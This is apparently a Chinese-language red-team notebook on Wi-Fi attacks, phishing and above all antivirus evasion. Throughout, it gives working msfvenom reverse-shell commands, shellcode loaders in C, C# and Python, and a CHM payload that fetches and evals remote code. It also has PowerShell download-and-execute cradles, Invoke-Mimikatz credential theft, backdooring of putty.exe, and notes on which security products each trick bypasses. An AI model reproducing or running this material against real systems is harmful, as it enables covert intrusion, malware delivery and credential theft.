#airodump-ng wlan1mon
#mdk3 wlan1mon a -a APmac 发起攻击
黑名单
#mdk3 wlan1mon d –c 信道 –b /blacklist.txt.
#mdk3 wlan1mon  b -n test -w -g -c 1 -s 200

WiFi芯片esp8266

Mdk4

#mdk4 wlan0mon d

CVE-2018-4407

Scapy
send(IP(dst="192.168.1.132",options=[IPOption("A"*8)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))
Apple iOS 11及更早版本:所有设备(升级到iOS 12的部分设备)
Apple macOS High Sierra(受影响的最高版本为10.13.6):所有设备(通过安全更新2018-001修复)
Apple macOS Sierra(受影响的最高版本为10.12.6):所有设备(通过安全更新2018-005中修复)
Apple OS X El Capitan及更早版本:所有设备

绕过mac地址认证

Ifconfig
#ifconfig wlan1 down
#ifconfig wlan1 hw ether xx:xx:xx:xx:xx:xx
#ifconfig wlan1 up
Macchanger
#macchanger –m xx:xx:xx:xx:xx:xx wlan1
#macchanger –r wlan1

BadUSB

克隆卡

蓝牙

鱼叉式攻击

钓鱼邮件

假冒的内部域名
假冒的外部域名
近似域名
被黑账户
群发/特定发
虚构情景/恶意连接/恶意文件

CVE

CVE-2017-11882
Microsoft Office 2007 SP3 / 2010 SP2 / 2013 SP1 / 2016
CVE-2017-0199
Microsoft Office 2007 SP3 / 2010 SP2 / 2013 SP1 / 2016,Vista SP2,Server 2008 SP2,Windows 7 SP1,Windows 8.1
CVE-2012-0158
Microsoft Office 2003 SP3、2007 SP2和SP3,以及2010 Gold和SP1;Office 2003 Web组件SP3;SQL Server 2000 SP4、2005 SP4和2008 SP2,SP3和R2; BizTalk Server 2002 SP1;Commerce Server 2002 SP4、2007 SP2和2009 Gold和R2; Visual FoxPro 8.0 SP1和9.0 SP2; 和Visual Basic 6.0
CVE-2017-0143
Microsoft Windows Vista SP2;Windows Server 2008 SP2和R2 SP1; Windows 7 SP1;Windows 8.1; Windows Server 2012 Gold和R2;Windows RT 8.1;Windows 10 Gold,1511和1607;以及 和Windows Server 2016
OFFICE文档/ PDF文件

可执行文件

文档文件的伪造

扩展名/图标

捆绑

0day

CHM

使用编译的HTML文件加载恶意代码。
使用EasyCHM对html进行编译,在html文件中插入恶意代码。
使用MSF生成powershell格式的web_delivery模块
使用Rundll32配合MyJSRAT实施运行无弹窗

image

把命令base编码避免特殊符号

image

执行语句编码后
>powershell -ep bypass -enc JABCAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAKACQAQgAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcAZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAKACQAQgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoASQBFAFgAIAAkAEIALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADAALgAxADAANwA6ADgAMAA4ADAALwBQAEsAUQBOAEUAYgAnACkAOwAKAA==
通过JSRat执行powershell上线命令
https://github.com/Ridter/MyJSRat
>python MyJSRat.py -i 192.168.1.107 -p 8888 -c "powershell -ep bypass -enc JABCAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAKACQAQgAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcAZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAKACQAQgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoASQBFAFgAIAAkAEIALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADAALgAxADAANwA6ADgAMAA4ADAALwBQAEsAUQBOAEUAYgAnACkAOwAKAA=="

image

访问http://ip/wtf复制利用语句到html文件后编译

image

<PARAM name="Item1" value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.0.107:8888/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'>

image

正常打开CHM文件,无弹窗上线。

image

钓鱼链接

URL跳转

结合恶意文档或程序

短URL

结合水坑攻击

相似域名

域名窃取

第三方服务鱼叉

通过社交软件建立关系,如男女朋友,师父徒弟,HR,寻求业务等进行钓鱼攻击

免杀

MSF免杀

nps_payload

>python nps_payload.py正常生成
>msfconsole -r msbuild_nps.rc开启监听
>%windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe xx.xml
>wmiexec.py <USER>:'<PASS>'@<RHOST> cmd.exe /c start %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe \\<attackerip>\<share>\msbuild_nps.xml
正常执行结束进程msbuild会失去会话,以下保存bat执行
获得session后立刻迁移进程
@echo off
echo [*] Please Wait, preparing software ..
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\xxx.xml
exit

编码器

>set EnableStageEncoding true
>set stageencoder x86/fnstenv_mov 编码进行免杀
>set stageencodingfallback false
&
>msfvenom --list encoders列出编码器

c/c++源码免杀

>msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\x00' LHOST=192.168.0.108 LPORT=12138 -f c -o 1.c
-i编码20次
MSF监听需设置自动迁移进程set autorunscript migrate -n explorer.exe

指针执行

unsigned char buf[] =
"shellcode";
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口
main()
{
    ( (void(*)(void))&buf)();
}
使用vc6.0组建编译后在靶机执行

image

当前过不了火绒,360动态静态可过

申请动态内存

#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口
unsigned char buf[] =
"shellcode";
main()
{
    char *Memory;
    Memory=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(Memory, buf, sizeof(buf));
    ((void(*)())Memory)();
}

嵌入汇编

#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] ="";
void main()
{
    __asm
    {
        mov eax, offset shellcode
        jmp eax
    }
}

强制类型转换

#include <windows.h>
#include <stdio.h>
unsigned char buf[] ="";
void main()
{
 ((void(WINAPI*)(void))&buf)();
}

汇编花指令

#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] ="";
void main()
{
        __asm
    {
        mov eax, offset shellcode
        _emit 0xFF  
        _emit 0xE0
    }
}

XOR加密

https://github.com/Arno0x/ShellcodeWrapper安装
生成raw格式木马
>msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\x00' LHOST=192.168.0.108 LPORT=12138 -f raw -o shell.raw

image

加密
> python shellcode_encoder.py -cpp -cs -py shell.raw thisiskey xor
生成的py文件使用py2exe编译执行
生成的cs文件使用csc.exe编译执行
生成的cpp文件使用vc6.0编译,去掉预编译头编译执行

image

远程线程注入

目前过火绒,不过360,可组合一下
Vs新建c++控制台程序
右键属性-》将MFC的使用选为在静态库中使用MFC
生成c格式shellcode粘贴进remote inject.cpp

image

生成项目
能成功上线,并开启calc进程

image
image

加载器免杀

shellcode_launcher
https://github.com/clinicallyinane/shellcode_launcher/
生成payload(raw)
>msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.0.108 lport=12138 -f raw -o shellcode.raw
加载器加载
>shellcode_launcher.exe -i shellcode.raw
SSI加载
https://github.com/DimopoulosElias/SimpleShellcodeInjector
生成payload(c)
>msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.108 lport=12138 -f c -o shellcode.c
执行
>cat shellcode.c |grep -v unsigned|sed "s/\"\\\x//g"|sed "s/\\\x//g"|sed "s/\"//g"|sed ':a;N;$!ba;s/\n//g'|sed "s/;//g"

image

MSF监听
可使用minGW自行编译
>gcc SimpleShellcodeInjector.c -o xxx.exe
执行
>xxx.exe +生成的编码

c#源码免杀

直接编译

生成payload
MSF监听需设置自动迁移进程set autorunscript migrate -n explorer.exe
>msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\x00' LHOST=192.168.0.108 LPORT=12138 -f csharp -o cs.txt
MSF启动监听
Payload粘贴到位置
using System;
using System.Runtime.InteropServices;
namespace TCPMeterpreterProcess
{
    class Program
    {
        static void Main(string[] args)
        {
            byte[] shellcode = new byte[] {payload here};
            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;
            // prepare data
            IntPtr pinfo = IntPtr.Zero;
            // execute native code
            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }
        private static UInt32 MEM_COMMIT = 0x1000;
        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
        [DllImport("kernel32")]
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
        UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
        [DllImport("kernel32")]
        private static extern bool VirtualFree(IntPtr lpAddress,
        UInt32 dwSize, UInt32 dwFreeType);
        [DllImport("kernel32")]
        private static extern IntPtr CreateThread(
            UInt32 lpThreadAttributes,
            UInt32 dwStackSize,
            UInt32 lpStartAddress,
            IntPtr param,
            UInt32 dwCreationFlags,
            ref UInt32 lpThreadId
        );
        [DllImport("kernel32")]
        private static extern bool CloseHandle(IntPtr handle);
        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(
            IntPtr hHandle,
            UInt32 dwMilliseconds
        );
        [DllImport("kernel32")]
        private static extern IntPtr GetModuleHandle(
            string moduleName
        );
        [DllImport("kernel32")]
        private static extern UInt32 GetProcAddress(
            IntPtr hModule,
            string procName
        );
        [DllImport("kernel32")]
        private static extern UInt32 LoadLibrary(
            string lpFileName
        );
        [DllImport("kernel32")]
        private static extern UInt32 GetLastError();
    }
}
Visual studio创建C#.net framework控制台程序编译可过杀软

加密处理

生成payload
MSF监听需设置自动迁移进程set autorunscript migrate -n explorer.exe
>msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\x00' LHOST=192.168.0.108 LPORT=12138 -f csharp -o cs.txt
粘贴payload后编译加密
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace Payload_Encrypt_Maker
{
    class Program
    {
        // 加密密钥,可以更改,加解密源码中保持KEY一致就行
        static byte[] KEY = { 0x11, 0x22, 0x11, 0x00, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x11, 0x01, 0x11, 0x11, 0x00, 0x00 };
        static byte[] IV = { 0x00, 0xcc, 0x00, 0x00, 0x00, 0xcc };
        static byte[] payload = { payload here };    // 替换成MSF生成的shellcode
        private static class Encryption_Class
        {
            public static string Encrypt(string key, string data)
            {
                Encoding unicode = Encoding.Unicode;
                return Convert.ToBase64String(Encrypt(unicode.GetBytes(key), unicode.GetBytes(data)));
            }
            public static byte[] Encrypt(byte[] key, byte[] data)
            {
                return EncryptOutput(key, data).ToArray();
            }
            private static byte[] EncryptInitalize(byte[] key)
            {
                byte[] s = Enumerable.Range(0, 256)
                .Select(i => (byte)i)
                .ToArray();
                for (int i = 0, j = 0; i < 256; i++)
                {
                    j = (j + key[i % key.Length] + s[i]) & 255;
                    Swap(s, i, j);
                }
                return s;
            }
            private static IEnumerable<byte> EncryptOutput(byte[] key, IEnumerable<byte> data)
            {
                byte[] s = EncryptInitalize(key);
                int i = 0;
                int j = 0;
                return data.Select((b) =>
                {
                    i = (i + 1) & 255;
                    j = (j + s[i]) & 255;
                    Swap(s, i, j);
                    return (byte)(b ^ s[(s[i] + s[j]) & 255]);
                });
            }
            private static void Swap(byte[] s, int i, int j)
            {
                byte c = s[i];
                s[i] = s[j];
                s[j] = c;
            }
        }
        static void Main(string[] args)
        {
            byte[] result = Encryption_Class.Encrypt(KEY, payload);
            int b = 0;
            for (int i = 0; i < result.Length; i++)
            {
                b++;
                if (i == result.Length + 1)
                { Console.Write(result[i].ToString()); }
                if (i != result.Length) { Console.Write(result[i].ToString() + ","); }
            }
        }
    }
}

image

编译解密
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
using System.Threading;
using System.Reflection;
using System.Runtime.CompilerServices;

namespace NativePayload_Reverse_tcp
{
    public class Program
{
        public static void Main()
        {
            Shellcode.Exec();
  }
}
class Shellcode
{
  public static void Exec()
  {
    string Payload_Encrypted;
    Payload_Encrypted = "payload here";
    string[] Payload_Encrypted_Without_delimiterChar = Payload_Encrypted.Split(',');
    byte[] _X_to_Bytes = new byte[Payload_Encrypted_Without_delimiterChar.Length];
    for (int i = 0; i < Payload_Encrypted_Without_delimiterChar.Length; i++)
    {
      byte current = Convert.ToByte(Payload_Encrypted_Without_delimiterChar[i].ToString());
      _X_to_Bytes[i] = current;
    }
    // 解密密钥,可以更改,加解密源码中保持KEY一致就行
            byte[] KEY = { 0x11, 0x22, 0x11, 0x00, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x11, 0x01, 0x11, 0x11, 0x00, 0x00 };
            byte[] MsfPayload = Decrypt(KEY, _X_to_Bytes);
            // 加载shellcode
            IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);
            Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);
            CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);
            Thread.Sleep(2000);
        }
        public static byte[] Decrypt(byte[] key, byte[] data)
        {
            return EncryptOutput(key, data).ToArray();
        }
        private static byte[] EncryptInitalize(byte[] key)
        {
            byte[] s = Enumerable.Range(0, 256)
            .Select(i => (byte)i)
            .ToArray();
            for (int i = 0, j = 0; i < 256; i++)
            {
                j = (j + key[i % key.Length] + s[i]) & 255;
                Swap(s, i, j);
            }
            return s;
        }
        private static IEnumerable<byte> EncryptOutput(byte[] key, IEnumerable<byte> data)
        {
            byte[] s = EncryptInitalize(key);
            int i = 0;
            int j = 0;
            return data.Select((b) =>
            {
                i = (i + 1) & 255;
                j = (j + s[i]) & 255;
                Swap(s, i, j);
                return (byte)(b ^ s[(s[i] + s[j]) & 255]);
                });
        }
        private static void Swap(byte[] s, int i, int j)
        {
            byte c = s[i];
            s[i] = s[j];
            s[j] = c;
        }
        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    }
}

XOR/AES编码

与上文xor加密类似

CSC+InstallUtil

生成payload
MSF监听需设置自动迁移进程set autorunscript migrate -n explorer.exe
>msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\x00' LHOST=192.168.0.108 LPORT=12138 -f csharp -o cs.txt
Payload粘贴到InstallUtil-Shellcode.cs中使用csc编译

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C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:C:\Users\y\Desktop\shell.exe C:\Users\y\Desktop\InstallUtil-ShellCode.cs

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执行
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\y\Desktop\shell.exe

Python源码免杀

pyinstaller加载C代码编译

生成C格式payload
MSF监听需设置自动迁移进程set autorunscript migrate -n explorer.exe
>msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -f c -o /var/www/html/1.c
粘贴shellcode到shellcode+c.py中,在32位系统上安装python、py2exe、pyinstaller进入C:\Python27\Scripts目录使用命令把py打包为exe
>python pyinstaller-script.py -F -w shellcode.py
会在目录下生成dist文件夹,exe文件就在里面

pyinstaller加载py代码编译(*)

生成py格式payload
MSF监听需设置自动迁移进程set autorunscript migrate -n explorer.exe
>msfvenom -p windows/meterpreter/reverse_tcp LPORT=12138 LHOST=192.168.0.108 -e x86/shikata_ga_nai -i 11 -f py -o /var/www/html/1.py
粘贴shellcode到shellcode+py.py中,在32位系统上安装python、py2exe、pyinstaller进入C:\Python27\Scripts目录使用命令把py打包为exe
>python pyinstaller-script.py --console --onefile shellcode.py
会在目录下生成dist文件夹,exe文件就在里面

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Py2exe打包exe

生成raw格式payload
MSF监听需设置自动迁移进程set autorunscript migrate -n explorer.exe
>msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -f raw -o /var/www/html/shell.py
在32位系统上安装python、py2exe
创建setup.py放置同一目录

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from distutils.core import setup
import py2exe
setup(
name = "Meter",
description = "Python-based App",
version = "1.0",
console = ["shell.py"],
options = {"py2exe":{"bundle_files":1,"packages":"ctypes","includes":"base64,sys,socket,struct,time,code,platform,getpass,shutil",}},
zipfile = None
)
执行打包命令
>python setup.py py2exe
会在当前目录生成dist文件夹,打包好的exe在里面

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Base64编码+Pyinstaller打包

MSF监听需设置自动迁移进程set autorunscript migrate -n explorer.exe
>msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 LHOST=192.168.0.108 LPORT=12138 -f c -o /var/www/html/1.c
Shellcode粘贴在shellcode+base64+c.py中
>python pyinstaller-script.py -F -w shellcode.py
会在目录下生成dist文件夹,exe文件就在里面

加载器分离

hex
生成c格式payload
>msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.0.108 lport=12138 -f c -o /var/www/html/shell.c
下载k8final

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粘贴shellcode进去

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使用
https://github.com/k8gege/scrun

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或
>python scrun.py xxx
或
编译ScRunHex.py为exe
Base64(*)
生成c格式payload
>msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.0.108 lport=12138 -f c -o /var/www/html/shell.c
下载k8final

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粘贴shellcode进去

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进行hex编码后,粘贴进去base64编码

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看系统位数编译ScRunBase.py文件,使用pyinstaller打包为exe后执行
https://gitee.com/RichChigga/scrun/blob/master/ScRunBase64.py
>python pyinstaller-script.py -F -w ScRunBase64.py

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DLL劫持

白dll劫持
Processmonitor查找程序加载的dll
使用stud_pe加载dll进去
或
生成payload免杀好粘贴进去,查看目标上有什么软件,本地查找可劫持的dll,劫持好文件后传上去。

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MSBuild

链接
https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20shellcode.xml
>msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.108 lport=12138 -f csharp
远程执行
>wmiexec.py <USER>:'<PASS>'@<RHOST> cmd.exe /c start %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe \\<attackerip>\<share>\msbuild_nps.xml
要设置自动迁移进程

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GreatSCT

>use Bypass
>list
>use regasm/meterpreter/rev_tcp.py
>msfconsole -r /usr/share/greatsct-output/handlers/payload.rc

Mshta

https://github.com/mdsecactivebreach/CACTUSTORCH/blob/master/CACTUSTORCH.hta
生成
>msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -f raw -o /var/www/html/1.bin
>cat 1.bin |base64 -w 0

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编码后的内容复制到

image

执行
>mshta http://192.168.0.106:1222/1.hta
360执行检测出来,静态动态无法检测、火绒无法检测

InstallUtil

内网文章中有介绍

Veil

>use 1选择evasion模块
>list查看可用payload
>use 7 选择c格式的payload
>set LHOST/LPORT设置回连IP和端口
>generate生成

image

直接生成的exe可能会被查杀,目前可过360,不能过火绒
使用minGW-w64编译C文件
>gcc -o vel.exe veil.c -l ws2_32

RC4

>msfvenom -p windows/x64/meterpreter/reverse_tcp_rc4 lhost=192.168.0.108 lport=3333 RC4PASSWORD=123qwe!@# -f c

捆绑

>msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -e x86/shikata_ga_nai -x PsExec64.exe  -i 15 -f exe -o /var/www/html/payload4.exe

Evasion模块

>show evasion

Phantom-Evasion

image
image

Shellter

仅支持32位程序
>apt install shellter
指定一个exe文件

image

选择payload

the-backdoor-factory

查看是否支持捆绑
>python backdoor.py -f /root/Desktop/putty.exe -S
查看此文件支持哪些payload
>python backdoor.py -f /root/Desktop/putty.exe -s show
reverse_shell_tcp_inline对应msf
set payload windows/meterpreter/reverse_tcp
meterpreter_reverse_https_threaded应msf
set payload windows/meterpreter/reverse_https
iat_reverse_tcp_stager_threaded修复IAT
user_supplied_shellcode_threaded自定义payload
参数
-s 指定payload
-H 回连地址
-P 回连端口
-J 多代码裂缝注入
>python backdoor.py -f ~/putty.exe -s iat_reverse_tcp_stager_threaded -H 192.168.0.108 -P 12138 -J -o payload.exe
后门生成在backdoored目录
或
生成payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -e x86/shikata_ga_nai -i 5 -f raw -o shellcode.c
自定义
>python backdoor.py -f /root/putty.exe -s user_supplied_shellcode_threaded -U /root/shellcode.c  -o payload2.exe

zirikatu

image

hanzoInjection

https://github.com/P0cL4bs/hanzoInjection
生成
>msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.108 lport=12138 -f raw -o /var/www/html/1.bin
>HanzoInjection.exe -p 1.bin -o 1.cs
编译1.cs
属性-生成-允许不安全代码

PowerShell免杀

直接生成

>msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 15 -b '\x00' lhost=192.168.0.108 lport=12138 -f psh -o /var/www/html/1.ps1
执行
>powershell -ep bypass -noexit -file 1.ps1
Powershell行为检测bypass
>powershell -noexit "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://192.168.0.108/1.ps1'')'.Replace('123','adString');IEX ($c1+$c2)"

Invoke-Shellcode加载

生成code
>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -f powershell -o /var/www/html/1.ps1
目标执行
> powershell -ep bypass
> IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.108/ps/powersploit/CodeExecution/Invoke-Shellcode.ps1')
> IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.108/1.ps1')
> Invoke-Shellcode -Shellcode ($buf) -Force

image
image

防护软件没反应

Invoke-Obfuscation

https://github.com/danielbohannon/Invoke-Obfuscation
生成code
>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -f psh -o /var/www/html/1.ps1
>powershell -ep bypass
>Import-Module .\Invoke-Obfuscation.psd1
>Invoke-Obfuscation
>set scriptpath C:\Users\y\Desktop\1.ps1
>encoding
>3 指定编码方式
>out C:\Users\y\Desktop\ok.ps1 保存

image
image

执行
>powershell -ep bypass -noexit -file ok.ps1

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Xencrypt

https://github.com/the-xentropy/xencrypt/blob/master/xencrypt.ps1
>Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1 -Iterations 100 递归分层躲避动态查杀

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>Invoke-Xencrypt -infile .\Invoke-Mimikatz.ps1 -outfile mimi.ps1

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PyFuscation

https://github.com/CBHue/PyFuscation
对函数,参数,变量进行混淆
>python3 PyFuscation.py -fvp --ps Invoke-Mimikatz.ps1

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拆分+C编译

#include<stdio.h>
#include<stdlib.h>
int main(){
system("powershell $c2='IEX (New-Object Net.WebClient).Downlo';$c3='adString(''http://x.x.x.x/a'')'; $Text=$c2+$c3; IEX(-join $Text)");
return 0;
}

行为检测

>powershell.exe -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-Mimikatz.ps1');Invoke-Mimikatz"

Out-EncryptedScript

http://192.168.0.108/ps/powersploit/ScriptModification/Out-EncryptedScript.ps1
>Out-EncryptedScript -ScriptPath .\Invoke-Mimikatz.ps1 -Password shabiisme -Salt 123456

image
image

PS > IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.108/ps/powersploit/ScriptModification/Out-EncryptedScript.ps1")
PS > [String] $cmd = Get-Content .\evil.ps1
PS > Invoke-Expression $cmd
PS > $decrypted = de shabiisme 123456
PS > Invoke-Expression $decrypted
PS > Invoke-Mimikatz

cobalt strike powershell免杀

From: https://y4er.com/post/cobalt-strike-powershell-bypass/
powershell>$string = ''
powershell>$s = [Byte[]]$var_code = [System.Convert]::FromBase64String('[cs生成的shellcode]')
powershell>$s |foreach { $string = $string + $_.ToString()+','}
powershell>$string>c:\1.txt
修改ps脚本
[Byte[]]$var_code = [Byte[]](payload)
再混淆一下函数和变量
绕过执行命令的拦截
使用cs的参数欺骗
beacon > argue cmd.exe blablabla

分块免杀

生成
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=192.168.0.108 LPORT=443 -f psh-net -o shity_shellcode.ps1

image

先来测试一下,把ps1文件的shellcode换成一段无害的字符串

image
image

结果发现还是被查杀了

image

这表明大多数检测来自PowerShell模板,而不是Shellcode本身。
下面几种bypass方法
1.将字符串分成几部分并创建中间变量;
2.添加大量垃圾备注;
3.添加一些垃圾指令,例如循环或睡眠指令(对于沙盒有用)。
[DllImport("kernel32.dll")]
变为
[DllImport("ke"+"rne"+"l32.dll")] #可绕过赛门铁克
$przdE.ReferencedAssemblies.AddRange(@("System.dll",[PsObject].Assembly.Location))
变为
$magic="Syst"+"em"+".dll";
$przdE.ReferencedAssemblies.AddRange(@($magic,[PsObject].Assembly.Location))
分割shellcode
$sc0=<shellcode的第1部分>; …$sc7=<shellcode的第8部分>; [Byte[]]$tcomplete_sc=[System.Convert]::FromBase64String($sc0+$sc1+…+$sc7)
一些细节可参照
https://raw.githubusercontent.com/kmkz/Pentesting/master/AV_Evasion/AV_Bypass.ps1
我不太懂汇编语言,所以没有添加无害指令。
这里直接使用一键生成的bash脚本,有时间的可以读读里面的命令
https://github.com/darksh3llRU/tools/blob/master/psh-net_shellcode_fastchange.sh
这个脚本是生成个hta的,脚本以1337个字符来分块

image

我测试的时候1337个字符会被赛门铁克查杀到,我这里修改成250个字符来分块

image

因为我没加汇编指令,中间这里直接按任意键跳过即可,懂的可以在开头添加一些指令,例如xor,inc,dec,add,sub,mov,nop等

image

执行完后会生成一些文件

image

我们只用final_pshnet_revhttps.ps1这个文件,打开修改一下

image

修改成

image
image
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Ruby

目标机器装有ruby时
生成
>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -f ruby
粘贴到ruby中

image

执行
>ruby xx.ruby

Golang

生成
>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -f c
代码转换成0x格式,粘贴到go.txt中保存为go格式

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安装golang环境在shellcode目录执行
>go build生成exe

加载器

go-shellcode

https://github.com/brimstone/go-shellcode
进入cmd/sc目录编译sc.exe
>go build

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生成
>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -f hex -o shell.txt 
加载器加载shellcode
>sc.exe shellcode

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Gsl

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/gsl-sc-loader.zip
>gsl -s SHELLCODE -hex msf生成hex格式
>gsl -f shell.raw本地加载raw格式文件
>gsl -f shell.hex -hex 本地加载hex格式文件
>gsl -u http://192.168.0.108/1.raw 远程加载
>gsl -u http://192.168.0.108/1.hex

内网&域

Powershell

查看版本$PSVersionTable

远程执行

>powershell -nop -w hidden -ep bypass "IEX (New-Object Net.WebClient).DownloadString('');Invoke-xxx"

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加载exe

msfvenom生成exe木马
#msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.107 lport=4444 -f exe > /var/www/html/1.exe  
